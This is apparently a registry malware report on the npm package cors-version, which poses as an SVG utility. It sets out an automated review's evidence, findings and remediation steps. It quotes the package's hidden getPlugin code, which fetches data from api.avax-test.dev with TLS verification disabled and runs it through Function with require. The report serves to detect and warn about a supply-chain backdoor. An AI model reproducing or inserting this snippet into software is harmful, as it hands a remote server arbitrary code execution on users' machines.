registry / Remote code execution / cors-version

cors-version

Professional zero-dependency SVG utilities for Node.js.

This report shows the evidence for cors-version@1.0.3. 6 of 6 known versions are blocked or flagged. The newest version, 1.0.5, is blocked. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The concealed remote payload execution path is unrelated to the advertised SVG utility and creates concrete arbitrary code execution. Lack of lifecycle hooks limits automatic activation but does not remove the malicious capability.

Static reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A CommonJS consumer calls getPlugin() and invokes its returned function.

Impact

Remote server can run arbitrary Node.js code in the consuming process.

Mechanism

HTTPS payload fetch followed by Function-based execution with require access.

Attack narrative

The CommonJS-only getPlugin API is undocumented and omitted from the ESM entrypoint. When its returned callback is invoked, it fetches data from a remote endpoint with certificate validation disabled, then passes that data to Function and supplies require. The endpoint therefore controls code executed with the permissions of the Node.js process.

AI rationale

Evidence

package.jsonsrc/index.cjssrc/index.mjsbin/svgcraft.mjsREADME.md

Network endpoints1

api.avax-test.dev/ext/bc/rpc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

src/index.cjs exports hidden getPlugin absent from ESM API/types.
getPlugin returns a callback that fetches remote response data.
That callback executes response data via Function with require.
HTTPS verification is explicitly disabled.

Evidence against

package.json has no lifecycle hooks.
Normal SVG APIs and CLI only transform user-supplied SVG files.
src/index.mjs contains no network or dynamic-code path.

Behavioral surface

Source

ChildProcessEvalFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 4 file(s), 19.5 KB of source, external domains: api.avax-test.dev, www.w3.org

Source & flagged code

4 flagged

src/index.cjsView file

•matchType = normalized_sha256 matchedPackage = cors-version@1.0.2 matchedPath = src/index.cjs matchedIdentity = npm:Y29ycy12ZXJzaW9u:1.0.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.cjsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = decf5f2bef9a26e5 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = cors-version@1.0.2 matchedPath = src/index.cjs matchedIdentity = npm:Y29ycy12ZXJzaW9u:1.0.2 similarity = 1.000 shingleOverlap = 4 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.cjsView on unpkg

304https.get("https://api.avax-test.dev/ext/bc/rpc", { rejectUnauthorized: false }, res => L305: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L306: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.cjsView on unpkg · L304

src/index.mjsView file

•matchType = normalized_sha256 matchedPackage = cors-version@1.0.2 matchedPath = src/index.mjs matchedIdentity = npm:Y29ycy12ZXJzaW9u:1.0.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.mjsView on unpkg

Source & flagged code

4 flagged · loading source

src/index.cjsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/index.cjsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.cjsView on unpkg

304https.get("https://api.avax-test.dev/ext/bc/rpc", { rejectUnauthorized: false }, res => L305: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L306: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

Findings

3 High1 Medium5 Low

HighKnown Malware Source Similaritysrc/index.cjs

HighKnown Malware Source Similaritysrc/index.mjs

HighKnown Malware Source Fingerprint Signaturesrc/index.cjs

MediumNetwork

LowScripts Present

LowEvalsrc/index.cjs

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to cors-version@1.0.3.

The versions list below shows the verdict for each recorded version.

Avoid installing cors-version@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 10:06:05.681Z (UTC).

Source advisory published: 2026-08-04 17:06:48.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

6 known versions

1.0.5latestMaliciousMalwareBlockPublishedAug 4, 2026, 8:08 AM 1.0.4MaliciousMalwareBlockPublishedAug 4, 2026, 7:36 AM 1.0.3shownMaliciousRemote Code ExecutionBlockPublishedJul 24, 2026, 6:57 AM 1.0.2MaliciousRemote Code ExecutionBlockPublishedJul 24, 2026, 6:51 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages